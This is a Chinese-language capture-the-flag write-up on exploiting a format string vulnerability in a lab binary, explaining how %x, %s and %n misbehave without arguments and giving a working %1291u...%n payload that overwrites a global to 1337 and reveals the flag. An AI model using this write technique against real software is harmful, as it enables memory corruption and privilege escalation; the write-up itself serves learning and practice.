format.c有 string format vulnerability ,利用它把一個global integer改成1337。
- 察看wiki page,format function怎麼處理format string和parameter:
- format function可以傳入任意長度的parameter
- 做什麼事由format string控制
- parameter被直接(by value)或間接(by reference address)的push到stack上,等待遇到
%
字元時被pop出來
那麼,如果我寫一個沒有給參數卻允許傳入format string控制format function的程式碼:printf(argv[1])
,會怎樣呢?
- 如果argv[1] =
%d
,%u
,%x
, 會把stack最上方的item裡的值pop出來,分別以decimal, unsigned decimal,或hexadecimal表示出來%s
:正常情況在被處理的時候,stack指到的地方存有字串的reference位址,把位址pop出來,用這位址去找對應的數值並當作字串印出來。但如果不給變數,會直接把stack pointer目前指到的當位址去找資料印出來%n
:正常情況:printf("hello%n", &var);
把length("hello") = 5寫入var裡。但是如果後面不給變數,會直接把目前有多少byte直接寫入stack pointer目前指到的位址!!
format string 只能寫到stack上,那要怎麼把secret改成1337呢?
- code中有一行:
int *ptr = &secret;
- ptr已經把secret的位址存到stack裡了
- 使用gdb找出secret位置:
(gdb) print &secret
,&secret = 0x804a030 (gdb) run %08x.%08x.%08x.%08x.%08x.%08x....
找出含有stack addr的是第幾個,找到是第7個。- 把stack倒數第七個改成1337:呼叫
%n
把目前這個字串在%n
前的byte數目push進%esp指到的地方
- 湊1337byte:
%[?]u.%08x.%08x.%08x.%08x.%08x.%n
- [?] = 1337 - (6個
.
(1 byte)+5個%08x
(8 byte)) = 1291
- 取得flag
(gdb) run %1291u.%08x.%08x.%08x.%08x.%08x.%n
Starting program: /home/fomat/format %1291u.%08x.%08x.%08x.%08x.%08x.%n
$ ls
flag.txt format format.c Makefile
$ cat flag.txt
cat: flag.txt: Permission denied
$ ./format %1291u.%08x.%08x.%08x.%08x.%08x.%n
$ cat flag.txt
who_thought_%n_was_a_good_idea?